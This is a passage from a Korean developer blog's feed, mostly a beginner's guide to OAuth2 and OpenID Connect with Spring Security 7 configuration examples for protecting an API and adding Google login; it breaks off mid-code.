&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 06 Jan 2026 13:00:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/spring-boot/2026/01/06/spring-boot4-servlet6.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/spring-boot/2026/01/06/spring-boot4-servlet6.html</guid>
        
        <category>Spring</category>
        
        <category>Boot</category>
        
        <category>Servlet</category>
        
        <category>Servlet6.1</category>
        
        
        <category>Spring</category>
        
        <category>Spring-boot</category>
        
      </item>
    
      <item>
        <title>OAuth2 쉽게 이해하기 - 초보자를 위한 쉬운 가이드</title>
        <description>&lt;h1 id=&quot;-시작하기-전에-인증-vs-인가&quot;&gt;🎯 시작하기 전에: 인증 vs 인가&lt;/h1&gt;

&lt;p&gt;보안을 이해하려면 먼저 이 두 개념을 구분해야 합니다.&lt;/p&gt;

&lt;h3 id=&quot;인증-authentication---너-누구야&quot;&gt;인증 (Authentication) - “너 누구야?”&lt;/h3&gt;
&lt;p&gt;아파트 출입문에서 &lt;strong&gt;주민등록증을 확인&lt;/strong&gt;하는 것과 같습니다.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;“당신이 정말 김철수가 맞나요?”&lt;/li&gt;
  &lt;li&gt;로그인할 때 아이디/비밀번호를 입력하는 과정&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;인가-authorization---이거-해도-돼&quot;&gt;인가 (Authorization) - “이거 해도 돼?”&lt;/h3&gt;
&lt;p&gt;아파트 입주민이라고 &lt;strong&gt;모든 집에 들어갈 수 있는 건 아니죠.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;“당신은 303호만 출입 가능합니다”&lt;/li&gt;
  &lt;li&gt;로그인 후 특정 기능이나 데이터에 접근할 권한이 있는지 확인&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; OAuth2는 원래 &lt;strong&gt;인가(권한 위임)&lt;/strong&gt;를 위한 도구입니다. 하지만 OpenID Connect를 더하면 &lt;strong&gt;인증(로그인)&lt;/strong&gt;도 할 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-이야기로-이해하는-oauth2&quot;&gt;📖 이야기로 이해하는 OAuth2&lt;/h1&gt;

&lt;h3 id=&quot;상황-당신이-사진-인쇄-서비스를-이용하려고-합니다&quot;&gt;상황: 당신이 사진 인쇄 서비스를 이용하려고 합니다&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;옛날 방식 (문제 많음):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;인쇄 서비스: &quot;구글 포토에서 사진 가져올게요. 구글 아이디랑 비밀번호 알려주세요!&quot;
당신: &quot;아... 여기에 내 구글 비밀번호를 줘야 하나?&quot; 😰
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;인쇄 서비스가 내 구글 계정을 마음대로 쓸 수 있어요&lt;/li&gt;
  &lt;li&gt;비밀번호를 바꾸기 전까지 계속 접근 가능해요&lt;/li&gt;
  &lt;li&gt;사진만 보면 되는데 이메일, 캘린더까지 다 볼 수 있어요&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;OAuth2 방식 (똑똑함):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;인쇄 서비스: &quot;구글에 로그인해서 &apos;사진만 볼 수 있는 허가증&apos;을 받아올게요&quot;
당신: 구글 로그인 → &quot;이 앱이 내 사진만 보도록 허락할래요?&quot; 클릭
구글: &quot;여기 임시 출입증(토큰)이요. 사진 폴더만 볼 수 있어요&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;비밀번호를 알려주지 않아요&lt;/li&gt;
  &lt;li&gt;사진만 볼 수 있도록 권한을 제한해요&lt;/li&gt;
  &lt;li&gt;언제든지 허가를 취소할 수 있어요&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;️-oauth2의-4명의-등장인물&quot;&gt;🏗️ OAuth2의 4명의 등장인물&lt;/h1&gt;

&lt;p&gt;실제 서비스에서 이 4명이 어떻게 협력하는지 봅시다.&lt;/p&gt;

&lt;h3 id=&quot;1-resource-owner-자원-소유자---당신&quot;&gt;1. Resource Owner (자원 소유자) - &lt;strong&gt;당신&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;구글 포토에 있는 사진의 주인&lt;/li&gt;
  &lt;li&gt;권한을 줄지 말지 결정하는 사람&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;2-client-클라이언트---인쇄-서비스&quot;&gt;2. Client (클라이언트) - &lt;strong&gt;인쇄 서비스&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;당신의 사진을 가져오고 싶은 앱&lt;/li&gt;
  &lt;li&gt;당신 대신 구글에 접근하려는 애플리케이션&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3-authorization-server-인가-서버---구글-로그인-서버&quot;&gt;3. Authorization Server (인가 서버) - &lt;strong&gt;구글 로그인 서버&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;당신이 정말 구글 계정 주인인지 확인&lt;/li&gt;
  &lt;li&gt;“사진 폴더 읽기 권한”이 담긴 토큰을 발급&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;4-resource-server-자원-서버---구글-포토-api&quot;&gt;4. Resource Server (자원 서버) - &lt;strong&gt;구글 포토 API&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;실제 사진이 저장된 곳&lt;/li&gt;
  &lt;li&gt;토큰을 확인하고 사진을 제공&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-토큰의-종류&quot;&gt;🎫 토큰의 종류&lt;/h1&gt;

&lt;h3 id=&quot;access-token---출입증&quot;&gt;Access Token - “출입증”&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;이 토큰을 가진 사람은 사진 폴더를 30일간 읽을 수 있습니다&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;API를 호출할 때 사용&lt;/li&gt;
  &lt;li&gt;유효기간이 있음 (보통 1시간 ~ 1일)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Bearer Token 방식:&lt;/strong&gt; 가진 사람이 곧 권한자&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;실제 사용 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;GET /photos/album1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;id-token---신분증-oidc에서만&quot;&gt;ID Token - “신분증” (OIDC에서만)&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;이 사람은 user@gmail.com이고, 이름은 김철수입니다&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;로그인한 사용자가 누구인지 알려줌&lt;/li&gt;
  &lt;li&gt;API 호출에는 사용하지 않음&lt;/li&gt;
  &lt;li&gt;클라이언트가 사용자 정보를 확인할 때만 사용&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;refresh-token---재발급권&quot;&gt;Refresh Token - “재발급권”&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;출입증이 만료되면 이걸로 새 출입증을 받으세요&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Access Token이 만료되면 새로 받을 때 사용&lt;/li&gt;
  &lt;li&gt;유효기간이 매우 김 (보통 30일 ~ 1년)&lt;/li&gt;
  &lt;li&gt;안전하게 보관해야 함&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-토큰의-형식&quot;&gt;🔑 토큰의 형식&lt;/h1&gt;

&lt;h3 id=&quot;jwt-json-web-token---자가-검증-가능한-토큰&quot;&gt;JWT (JSON Web Token) - “자가 검증 가능한 토큰”&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGci.eyJzdWIi.SflKxwRJ
 ↑헤더    ↑내용      ↑서명
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;특징:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;토큰 안에 정보가 모두 들어있어요&lt;/li&gt;
  &lt;li&gt;서버가 DB 조회 없이 바로 검증 가능&lt;/li&gt;
  &lt;li&gt;빠르고 효율적&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;예시 내용:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sub&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;user123&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;scope&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;photos:read&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1735905600&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt; ⚡ 빠름, 서버 부담 적음&lt;br /&gt;
&lt;strong&gt;단점:&lt;/strong&gt; ❌ 한 번 발급하면 취소하기 어려움&lt;/p&gt;

&lt;h3 id=&quot;opaque-token---불투명한-토큰&quot;&gt;Opaque Token - “불투명한 토큰”&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;d4f9a8b3c2e1
(의미 없는 랜덤 문자열)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;특징:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;토큰만 봐서는 아무것도 모름&lt;/li&gt;
  &lt;li&gt;매번 서버에 “이 토큰 유효해?” 물어봐야 함(물어보는 과정을 &lt;strong&gt;‘Introspection’&lt;/strong&gt;이라고 불러요)&lt;/li&gt;
  &lt;li&gt;즉시 취소 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt; 🔒 보안성 높음, 즉시 취소 가능&lt;br /&gt;
&lt;strong&gt;단점:&lt;/strong&gt; 🐌 느림, 서버 부담 증가&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-토큰-받는-방법-grant-types&quot;&gt;🔄 토큰 받는 방법 (Grant Types)&lt;/h1&gt;

&lt;h3 id=&quot;1-authorization-code---사용자-로그인-방식&quot;&gt;1. Authorization Code - “사용자 로그인 방식”&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;언제 사용:&lt;/strong&gt; 웹사이트, 모바일 앱에서 사용자 로그인&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;과정:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. 사용자: &quot;구글로 로그인&quot; 버튼 클릭
2. 구글: &quot;이 앱이 사진 보는 거 허락할래?&quot; 물어봄
3. 사용자: &quot;허락&quot; 클릭
4. 구글: 임시 코드 발급 → 앱으로 전달
5. 앱: 코드를 토큰으로 교환 (서버끼리 비밀 통신)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;가장 안전한 방식&lt;/strong&gt;이고, &lt;strong&gt;OIDC 로그인에서 표준&lt;/strong&gt;입니다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;최근에는 보안 강화를 위해 Authorization Code 방식에 PKCE라는 보안 장치를 더하는 것이 표준(OAuth 2.1)입니다. Spring Security는 이를 자동으로 지원합니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;2-client-credentials---서버-간-통신-방식&quot;&gt;2. Client Credentials - “서버 간 통신 방식”&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;언제 사용:&lt;/strong&gt; 사용자 없이 서버끼리 통신 (예: 정기 데이터 동기화)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;과정:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. 백엔드 서버: &quot;나 정식 등록된 앱이야&quot; + 비밀키 제출
2. 인가 서버: &quot;확인했어&quot; + 토큰 발급
3. 백엔드 서버: 토큰으로 API 호출
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;특징:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;사용자 로그인 없음&lt;/li&gt;
  &lt;li&gt;ID Token 없음 (사용자가 없으니까)&lt;/li&gt;
  &lt;li&gt;Access Token만 받음&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-openid-connect-oidc&quot;&gt;🌐 OpenID Connect (OIDC)&lt;/h1&gt;

&lt;h3 id=&quot;oauth2의-한계&quot;&gt;OAuth2의 한계&lt;/h3&gt;
&lt;p&gt;OAuth2만으로는 &lt;strong&gt;“이 사용자가 누구인지”&lt;/strong&gt; 표준적으로 알 수 없었습니다.&lt;/p&gt;

&lt;h3 id=&quot;oidc--oauth2--로그인&quot;&gt;OIDC = OAuth2 + 로그인&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;기능&lt;/th&gt;
      &lt;th&gt;OAuth2&lt;/th&gt;
      &lt;th&gt;OIDC&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;목적&lt;/td&gt;
      &lt;td&gt;권한 위임&lt;/td&gt;
      &lt;td&gt;로그인 + 권한 위임&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;토큰&lt;/td&gt;
      &lt;td&gt;Access Token&lt;/td&gt;
      &lt;td&gt;Access Token + &lt;strong&gt;ID Token&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;사용자 정보&lt;/td&gt;
      &lt;td&gt;별도 API 호출&lt;/td&gt;
      &lt;td&gt;ID Token에 포함&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;OIDC 사용 예:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;구글로 로그인&quot; = OAuth2 + OIDC
→ Access Token (구글 API 호출용)
→ ID Token (사용자 정보: 이메일, 이름)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-spring-security-7으로-구현하기&quot;&gt;💻 Spring Security 7으로 구현하기&lt;/h1&gt;

&lt;h3 id=&quot;1-resource-server-내-api-보호&quot;&gt;1. Resource Server (내 API 보호)&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;상황:&lt;/strong&gt; 내가 만든 API를 토큰으로 보호하고 싶어요.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;설정 (application.yml):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;oauth2&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;resourceserver&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;jwt&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;issuer-uri&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://auth.mycompany.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Spring Security 설정:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/public/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;oauth2ResourceServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;oauth2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;oauth2&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jwt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;동작:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;클라이언트가 API 호출 시 토큰을 헤더에 넣어 보냄&lt;/li&gt;
  &lt;li&gt;Spring Security가 자동으로 토큰 검증&lt;/li&gt;
  &lt;li&gt;유효하면 요청 처리, 아니면 401 에러&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;2-oauth2-login-소셜-로그인&quot;&gt;2. OAuth2 Login (소셜 로그인)&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;상황:&lt;/strong&gt; 내 서비스에 “구글로 로그인” 버튼을 넣고 싶어요.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;설정 (application.yml):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;oauth2&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;registration&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;google&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;client-id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;your-client-id&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;client-secret&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;your-secret&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;scope&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;openid, profile, email&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Spring Security 설정:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
